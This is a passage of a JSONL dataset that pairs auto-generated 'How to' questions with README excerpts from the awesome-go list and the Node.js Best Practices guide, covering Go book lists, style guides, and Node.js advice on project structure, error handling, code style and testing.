patterns for building APIs and web applications in Go.\n- [The Power of Go: Tests](https://bitfieldconsulting.com/books/tests) - A guide to testing in Go.\n- [The Power of Go: Tools](https://bitfieldconsulting.com/books/tools) - A guide to writing command-line tools in Go.\n- [Writing A Compiler In Go](https://compilerbook.com)\n- [Writing An Interpreter In Go](https://interpreterbook.com) - Book that introduces dozens of techniques for writing idiomatic, expressive, and efficient Go code that avoids common pitfalls.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083319"}
{"id": "gh_9e2777e0dc4e", "question": "How to: Free e-books", "question_body": "About avelino/awesome-go", "answer": "- [A Go Developer's Notebook](https://leanpub.com/GoNotebook/read)\n- [An Introduction to Programming in Go](http://www.golang-book.com/)\n- [Build a blockchain from scratch in Go with gRPC](https://github.com/volodymyrprokopyuk/go-blockchain) - The foundational and practical guide for effectively learning and progressively building a blockchain from scratch in Go with gRPC.\n- [Build Web Application with Golang](https://astaxie.gitbooks.io/build-web-application-with-golang/content/en/)\n- [Building Web Apps With Go](https://codegangsta.gitbooks.io/building-web-apps-with-go/content/)\n- [Go 101](https://go101.org) - A book focusing on Go syntax/semantics and all kinds of details.\n- [Go AST Book (Chinese)](https://github.com/chai2010/go-ast-book) - A book focusing on Go `go/*` packages.\n- [Go Faster](https://leanpub.com/gofaster) - This book seeks to shorten your learning curve and help you become a proficient Go programmer, faster.\n- [Go Succinctly](https://github.com/thedevsir/gosuccinctly) - in Persian.\n- [Go with the domain](https://threedots.tech/go-with-the-domain/) - A book showing how to apply DDD, Clean Architecture, and CQRS by practical refactoring.\n- [GoBooks](https://github.com/dariubs/GoBooks) - A curated list of Go books.\n- [How To Code in Go eBook](https://www.digitalocean.com/community/books/how-to-code-in-go-ebook) - A 600 page introduction to Go aimed at first time developers.\n- [Learning Go](https://www.miek.nl/downloads/Go/Learning-Go-latest.pdf)\n- [Network Programming With Go](https://jan.newmarch.name/golang/)\n- [Practical Go Lessons](https://www.practical-go-lessons.com/)\n- [Spaceship Go A Journey to the Standard Library](https://blasrodri.github.io/spaceship-go-gh-pages/)\n- [The Go Programming Language](https://www.gopl.io/)\n- [The Golang Standard Library by Example (Chinese)](https://github.com/polaris1119/The-Golang-Standard-Library-by-Example)\n- [The Little Go Book](https://github.com/karlseguin/the-little-go-book)\n- [Web Application with Go the Anti-Textbook](https://github.com/thewhitetulip/web-dev-golang-anti-textbook/)\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083328"}
{"id": "gh_74bdea036447", "question": "How to: Style Guides", "question_body": "About avelino/awesome-go", "answer": "- [bahlo/go-styleguide](https://github.com/bahlo/go-styleguide)\n- [CockroachDB](https://github.com/cockroachdb/cockroach/blob/master/docs/style.md)\n- [GitLab](https://docs.gitlab.com/ee/development/go_guide/)\n- [Google](https://google.github.io/styleguide/go/)\n- [Hyperledger](https://github.com/hyperledger/fabric/blob/release-1.4/docs/source/style-guides/go-style.rst)\n- [Thanos](https://thanos.io/tip/contributing/coding-style-guide.md/)\n- [Trybe](https://github.com/betrybe/playbook-go/blob/main/README_EN.md)\n- [Uber](https://github.com/uber-go/guide/blob/master/style.md)\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083343"}
{"id": "gh_95051bb21bd6", "question": "How to: Guided Learning", "question_body": "About avelino/awesome-go", "answer": "- [The Go Developer Roadmap](https://roadmap.sh/golang) - A visual roadmap that new Go developers can follow through to help them learn Go.\n- [The Go Interview Practice](https://github.com/RezaSi/go-interview-practice) - A GitHub repository offering coding challenges for Go technical interview preparation.\n- [The Go Learning Path](https://tutorialedge.net/paths/golang/) - A guided learning path containing a mix of free and premium resources.\n- [The Go Skill Tree](https://labex.io/skilltrees/go) - A structured learning path that combines both free and premium resources.\n\n**[⬆ back to top](#contents)**", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083362"}
{"id": "gh_167759515ba0", "question": "How to: Contribution", "question_body": "About avelino/awesome-go", "answer": "We welcome contributions! Please refer to our [CONTRIBUTING.md](https://github.com/avelino/awesome-go/blob/main/CONTRIBUTING.md) for guidelines.", "tags": ["avelino"], "source": "github_gists", "category": "avelino", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 162695, "answer_score": 10, "has_code": false, "url": "https://github.com/avelino/awesome-go", "collected_at": "2026-01-16T23:27:27.083366"}
{"id": "gh_b713350692f1", "question": "How to: Node.js Best Practices", "question_body": "About goldbergyoni/nodebestpractices", "answer": "[\n](https://twitter.com/nodepractices/) **Follow us on Twitter!** [**@nodepractices**](https://twitter.com/nodepractices/)\nRead in a different language: [![CN](./assets/flags/CN.png)**CN**](./README.chinese.md), [![FR](./assets/flags/FR.png)**FR**](./README.french.md), [![BR](./assets/flags/BR.png)**BR**](./README.brazilian-portuguese.md), [![RU](./assets/flags/RU.png)**RU**](./README.russian.md), [![PL](./assets/flags/PL.png)**PL**](./README.polish.md), [![JA](./assets/flags/JA.png)**JA**](./README.japanese.md), [![EU](./assets/flags/EU.png)**EU**](./README.basque.md) [(![ES](./assets/flags/ES.png)**ES**, ![HE](./assets/flags/HE.png)**HE**, ![KR](./assets/flags/KR.png)**KR** and ![TR](./assets/flags/TR.png)**TR** in progress! )](#translations)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946759"}
{"id": "gh_a233d4e78b6e", "question": "How to: 🎊 2024 edition is here!", "question_body": "About goldbergyoni/nodebestpractices", "answer": "- **🛰 Modernized to 2024**: Tons of text edits, new recommended libraries, and some new best practices\n\n- **✨ Easily focus on new content**: Already visited before? Search for `#new` or `#updated` tags for new content only\n\n- **🔖 Curious to see examples? We have a starter**: Visit [Practica.js](https://github.com/practicajs/practica), our application example and boilerplate (beta) to see some practices in action", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946777"}
{"id": "gh_f49c879edfcc", "question": "How to: Welcome! 3 Things You Ought To Know First", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**1. You are reading dozens of the best Node.js articles -** this repository is a summary and curation of the top-ranked content on Node.js best practices, as well as content written here by collaborators\n\n**2. It is the largest compilation, and it is growing every week -** currently, more than 80 best practices, style guides, and architectural tips are presented. New issues and pull requests are created every day to keep this live book updated. We'd love to see you contributing here, whether that is fixing code mistakes, helping with translations, or suggesting brilliant new ideas. See our [writing guidelines here](./.operations/writing-guidelines.md)\n\n**3. Best practices have additional info -** most bullets include a **🔗Read More** link that expands on the practice with code examples, quotes from selected blogs, and more information", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946787"}
{"id": "gh_842a31605edf", "question": "How to: `📝 #updated`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** The root of a system should contain folders or repositories that represent reasonably sized business modules. Each component represents a product domain (i.e., bounded context), like 'user-component', 'order-component', etc. Each component has its own API, logic, and logical database. What is the significant merit? With an autonomous component, every change is performed over a granular and smaller scope - the mental overload, development friction, and deployment fear are much smaller and better. As a result, developers can move much faster. This does not necessarily demand physical separation and can be achieved using a Monorepo or with a multi-repo\n\n```bash\nmy-system\n├─ apps (components)\n│  ├─ orders\n│  ├─ users\n│  ├─ payments\n├─ libraries (generic cross-component functionality)\n│  ├─ logger\n│  ├─ authenticator\n```\n\n**Otherwise:** when artifacts from various modules/topics are mixed together, there are great chances of a tightly-coupled 'spaghetti' system. For example, in an architecture where 'module-a controller' might call 'module-b service', there are no clear modularity borders - every code change might affect anything else. With this approach, developers who code new features struggle to realize the scope and impact of their change. Consequently, they fear breaking other modules, and each deployment becomes slower and riskier\n\n🔗 [**Read More: structure by components**](./sections/projectstructre/breakintcomponents.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946847"}
{"id": "gh_c030afe9de31", "question": "How to: ![✔] 1.3 Wrap common utilities as packages, consider publishing", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Place all reusable modules in a dedicated folder, e.g., \"libraries\", and underneath each module in its own folder, e.g., \"/libraries/logger\". Make the module an independent package with its own package.json file to increase the module encapsulation, and allows future publishing to a repository. In a Monorepo setup, modules can be consumed by 'npm linking' to their physical paths, using ts-paths or by publishing and installing from a package manager repository like the npm registry\n\n```bash\nmy-system\n├─ apps (components)\n  │  ├─ component-a\n├─ libraries (generic cross-component functionality)\n│  ├─ logger\n│  │  ├─ package.json\n│  │  ├─ src\n│  │  │ ├─ index.js\n\n```\n\n**Otherwise:** Clients of a module might import and get coupled to internal functionality of a module. With a package.json at the root, one can set a package.json.main or package.json.exports to explicitly tell which files and functions are part of the public interface\n\n🔗 [**Read More: Structure by feature**](./sections/projectstructre/wraputilities.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946865"}
{"id": "gh_a9be3a195a0b", "question": "How to: ![✔] 2.1 Use Async-Await or promises for async error handling", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Handling async errors in callback style is probably the fastest way to hell (a.k.a the pyramid of doom). The best gift you can give to your code is using Promises with async-await which enables a much more compact and familiar code syntax like try-catch\n\n**Otherwise:** Node.js callback style, function(err, response), is a promising way to un-maintainable code due to the mix of error handling with casual code, excessive nesting, and awkward coding patterns\n\n🔗 [**Read More: avoiding callbacks**](./sections/errorhandling/asyncerrorhandling.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946886"}
{"id": "gh_e59c03372907", "question": "How to: ![✔] 2.4 Handle errors centrally, not within a middleware", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Error handling logic such as logging, deciding whether to crash and monitoring metrics should be encapsulated in a dedicated and centralized object that all entry-points (e.g. APIs, cron jobs, scheduled jobs) call when an error comes in\n\n**Otherwise:** Not handling errors within a single place will lead to code duplication and probably to improperly handled errors\n\n🔗 [**Read More: handling errors in a centralized place**](./sections/errorhandling/centralizedhandling.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946909"}
{"id": "gh_1209d29c4045", "question": "How to: ![✔] 2.5 Document API errors using OpenAPI or GraphQL", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Let your API callers know which errors might come in return so they can handle these thoughtfully without crashing. For RESTful APIs, this is usually done with documentation frameworks like OpenAPI. If you're using GraphQL, you can utilize your schema and comments as well\n\n**Otherwise:** An API client might decide to crash and restart only because it received back an error it couldn’t understand. Note: the caller of your API might be you (very typical in a microservice environment)\n\n🔗 [**Read More: documenting API errors in Swagger or GraphQL**](./sections/errorhandling/documentingusingswagger.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946916"}
{"id": "gh_fef351956548", "question": "How to: ![✔] 2.6 Exit the process gracefully when a stranger comes to town", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** When an unknown error occurs (catastrophic error, see best practice 2.3) - there is uncertainty about the application healthiness. In this case, there is no escape from making the error observable, shutting off connections and exiting the process. Any reputable runtime framework like Dockerized services or cloud serverless solutions will take care to restart\n\n**Otherwise:** When an unfamiliar exception occurs, some object might be in a faulty state (e.g. an event emitter which is used globally and not firing events anymore due to some internal failure) and all future requests might fail or behave crazily\n\n🔗 [**Read More: shutting the process**](./sections/errorhandling/shuttingtheprocess.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946923"}
{"id": "gh_3bc86f1881ab", "question": "How to: ![✔] 2.9 Discover errors and downtime using APM products", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Monitoring and performance products (a.k.a APM) proactively gauge your codebase or API so they can automagically highlight errors, crashes, and slow parts that you were missing\n\n**Otherwise:** You might spend great effort on measuring API performance and downtimes, probably you’ll never be aware which are your slowest code parts under real-world scenario and how these affect the UX\n\n🔗 [**Read More: using APM products**](./sections/errorhandling/apmproducts.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946944"}
{"id": "gh_60567d3232bb", "question": "How to: ![✔] 3.1 Use ESLint", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** [ESLint](https://eslint.org) is the de-facto standard for checking possible code errors and fixing code style, not only to identify nitty-gritty spacing issues but also to detect serious code anti-patterns like developers throwing errors without classification. Though ESLint can automatically fix code styles, other tools like [prettier](https://www.npmjs.com/package/prettier) are more powerful in formatting the fix and work in conjunction with ESLint\n\n**Otherwise:** Developers will focus on tedious spacing and line-width concerns and time might be wasted overthinking the project's code style\n\n🔗 [**Read More: Using ESLint and Prettier**](./sections/codestylepractices/eslint_prettier.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946968"}
{"id": "gh_67df9f600fc9", "question": "How to: ![✔] 3.3 Start a Codeblock's Curly Braces on the Same Line", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** The opening curly braces of a code block should be on the same line as the opening statement", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946980"}
{"id": "gh_a783997c68da", "question": "How to: Code Example", "question_body": "About goldbergyoni/nodebestpractices", "answer": "```javascript\n// Do\nfunction someFunction() {\n  // code block\n}\n\n// Avoid\nfunction someFunction()\n{\n  // code block\n}\n```\n\n**Otherwise:** Deferring from this best practice might lead to unexpected results, as seen in the StackOverflow thread below:\n\n🔗 [**Read more:** \"Why do results vary based on curly brace placement?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946987"}
{"id": "gh_6280a39e1134", "question": "How to: ![✔] 3.4 Separate your statements properly", "question_body": "About goldbergyoni/nodebestpractices", "answer": "No matter if you use semicolons or not to separate your statements, knowing the common pitfalls of improper linebreaks or automatic semicolon insertion, will help you to eliminate regular syntax errors.\n\n**TL;DR:** Use ESLint to gain awareness about separation concerns. [Prettier](https://prettier.io/) or [Standardjs](https://standardjs.com/) can automatically resolve these issues.\n\n**Otherwise:** As seen in the previous section, JavaScript's interpreter automatically adds a semicolon at the end of a statement if there isn't one, or considers a statement as not ended where it should, which might lead to some undesired results. You can use assignments and avoid using immediately invoked function expressions to prevent most of the unexpected errors.", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.946994"}
{"id": "gh_261d5c64d179", "question": "How to: Code example", "question_body": "About goldbergyoni/nodebestpractices", "answer": "```javascript\n// Do\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// Do\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Avoid — throws exception\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// Avoid — throws exception\nconst count = 2 // it tries to run 2(), but 2 is not a function\n(function doSomething() {\n  // do something amazing\n}())\n// put a semicolon before the immediate invoked function, after the const definition, save the return value of the anonymous function to a variable or avoid IIFEs altogether\n```\n\n🔗 [**Read more:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\n🔗 [**Read more:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947003"}
{"id": "gh_94fd00b41f4a", "question": "How to: ![✔] 3.5 Name your functions", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Name all functions, including closures and callbacks. Avoid anonymous functions. This is especially useful when profiling a node app. Naming all functions will allow you to easily understand what you're looking at when checking a memory snapshot\n\n**Otherwise:** Debugging production issues using a core dump (memory snapshot) might become challenging as you notice significant memory consumption from anonymous functions", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947009"}
{"id": "gh_9db33281b31d", "question": "How to: ![✔] 3.6 Use naming conventions for variables, constants, functions and classes", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Use **_lowerCamelCase_** when naming constants, variables and functions, **_UpperCamelCase_** (capital first letter as well) when naming classes and **_UPPER_SNAKE_CASE_** when naming global or static variables. This will help you to easily distinguish between plain variables, functions, classes that require instantiation and variables declared at global module scope. Use descriptive names, but try to keep them short\n\n**Otherwise:** JavaScript is the only language in the world that allows invoking a constructor (\"Class\") directly without instantiating it first. Consequently, Classes and function-constructors are differentiated by starting with UpperCamelCase", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947014"}
{"id": "gh_c4297e8b196f", "question": "How to: 3.6 Code Example", "question_body": "About goldbergyoni/nodebestpractices", "answer": "```javascript\n// for global variables names we use the const/let keyword and UPPER_SNAKE_CASE\nlet MUTABLE_GLOBAL = \"mutable value\";\nconst GLOBAL_CONSTANT = \"immutable value\";\nconst CONFIG = {\n  key: \"value\",\n};\n\n// examples of UPPER_SNAKE_CASE convention in nodejs/javascript ecosystem\n// in javascript Math.PI module\nconst PI = 3.141592653589793;\n\n// https://github.com/nodejs/node/blob/b9f36062d7b5c5039498e98d2f2c180dca2a7065/lib/internal/http2/core.js#L303\n// in nodejs http2 module\nconst HTTP_STATUS_OK = 200;\nconst HTTP_STATUS_CREATED = 201;\n\n// for class name we use UpperCamelCase\nclass SomeClassExample {\n  // for static class properties we use UPPER_SNAKE_CASE\n  static STATIC_PROPERTY = \"value\";\n}\n\n// for functions names we use lowerCamelCase\nfunction doSomething() {\n  // for scoped variable names we use the const/let keyword and lowerCamelCase\n  const someConstExample = \"immutable value\";\n  let someMutableExample = \"mutable value\";\n}\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947021"}
{"id": "gh_3277a63f6d6c", "question": "How to: ![✔] 3.7 Prefer const over let. Ditch the var", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Using `const` means that once a variable is assigned, it cannot be reassigned. Preferring `const` will help you to not be tempted to use the same variable for different uses, and make your code clearer. If a variable needs to be reassigned, in a for loop, for example, use `let` to declare it. Another important aspect of `let` is that a variable declared using it is only available in the block scope in which it was defined. `var` is function scoped, not block-scoped, and [shouldn't be used in ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) now that you have `const` and `let` at your disposal\n\n**Otherwise:** Debugging becomes way more cumbersome when following a variable that frequently changes\n\n🔗 [**Read more: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947029"}
{"id": "gh_679f5417874c", "question": "How to: ![✔] 3.8 Require modules first, not inside functions", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Require modules at the beginning of each file, before and outside of any functions. This simple best practice will not only help you easily and quickly tell the dependencies of a file right at the top but also avoids a couple of potential problems\n\n**Otherwise:** Requires are run synchronously by Node.js. If they are called from within a function, it may block other requests from being handled at a more critical time. Also, if a required module or any of its dependencies throw an error and crash the server, it is best to find out about it as soon as possible, which might not be the case if that module is required from within a function", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947035"}
{"id": "gh_74566c96067f", "question": "How to: 3.9 Code example - avoid coupling the client to the module structure", "question_body": "About goldbergyoni/nodebestpractices", "answer": "```javascript\n// Avoid: client has deep familiarity with the internals\n\n// Client code\nconst SMSWithMedia = require(\"./SMSProvider/providers/media/media-provider.js\");\n\n// Better: explicitly export the public functions\n\n//index.js, module code\nmodule.exports.SMSWithMedia = require(\"./SMSProvider/providers/media/media-provider.js\");\n\n// Client code\nconst { SMSWithMedia } = require(\"./SMSProvider\");\n```", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947047"}
{"id": "gh_11f42e44ba07", "question": "How to: ![✔] 3.10 Use the `===` operator", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Prefer the strict equality operator `===` over the weaker abstract equality operator `==`. `==` will compare two variables after converting them to a common type. There is no type conversion in `===`, and both variables must be of the same type to be equal\n\n**Otherwise:** Unequal variables might return true when compared with the `==` operator", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947052"}
{"id": "gh_49d7c4de258b", "question": "How to: 3.10 Code example", "question_body": "About goldbergyoni/nodebestpractices", "answer": "```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nAll statements above will return false if used with `===`", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": true, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947058"}
{"id": "gh_081a0920ac8e", "question": "How to: ![✔] 3.11 Use Async Await, avoid callbacks", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Async-await is the simplest way to express an asynchronous flow as it makes asynchronous code look synchronous. Async-await will also result in much more compact code and support for try-catch. This technique now supersedes callbacks and promises in _most_ cases. Using it in your code is probably the best gift one can give to the code reader\n\n**Otherwise:** Handling async errors in callback style are probably the fastest way to hell - this style forces to check errors all over, deal with awkward code nesting, and makes it difficult to reason about the code flow\n\n🔗[**Read more:** Guide to async-await 1.0](https://github.com/yortus/asyncawait)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947065"}
{"id": "gh_f724c115d97a", "question": "How to: ![✔] 3.12 Use arrow function expressions (=>)", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Though it's recommended to use async-await and avoid function parameters when dealing with older APIs that accept promises or callbacks - arrow functions make the code structure more compact and keep the lexical context of the root function (i.e. `this`)\n\n**Otherwise:** Longer code (in ES5 functions) is more prone to bugs and cumbersome to read\n\n🔗 [**Read more: It’s Time to Embrace Arrow Functions**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947071"}
{"id": "gh_d8e15f05dfcf", "question": "How to: `4. Testing And Overall Quality Practices`", "question_body": "About goldbergyoni/nodebestpractices", "answer": "\\_We have dedicated guides for testing, see below. The best practices list here is a brief summary of these guides\n\na. [JavaScript testing best practices](https://github.com/goldbergyoni/javascript-testing-best-practices)\nb. [Node.js testing - beyond the basics](https://github.com/testjavascript/nodejs-integration-tests-best-practices)\n\\_", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947078"}
{"id": "gh_c213ab42fd09", "question": "How to: ![✔] 4.1 At the very least, write API (component) testing", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** Most projects just don't have any automated testing due to short timetables or often the 'testing project' ran out of control and was abandoned. For that reason, prioritize and start with API testing which is the easiest way to write and provides more coverage than unit testing (you may even craft API tests without code using tools like [Postman](https://www.getpostman.com/)). Afterwards, should you have more resources and time, continue with advanced test types like unit testing, DB testing, performance testing, etc\n\n**Otherwise:** You may spend long days on writing unit tests to find out that you got only 20% system coverage", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947084"}
{"id": "gh_802131796cd4", "question": "How to: ![✔] 4.5 Avoid global test fixtures and seeds, add data per-test", "question_body": "About goldbergyoni/nodebestpractices", "answer": "**TL;DR:** To prevent test coupling and easily reason about the test flow, each test should add and act on its own set of DB rows. Whenever a test needs to pull or assume the existence of some DB data - it must explicitly add that data and avoid mutating any other records\n\n**Otherwise:** Consider a scenario where deployment is aborted due to failing tests, team is now going to spend precious investigation time that ends in a sad conclusion: the system works well, the tests however interfere with each other and break the build\n\n🔗 [**Read More: Avoid global test fixtures**](./sections/testingandquality/avoid-global-test-fixture.md)", "tags": ["goldbergyoni"], "source": "github_gists", "category": "goldbergyoni", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 104932, "answer_score": 10, "has_code": false, "url": "https://github.com/goldbergyoni/nodebestpractices", "collected_at": "2026-01-16T23:27:30.947096"}
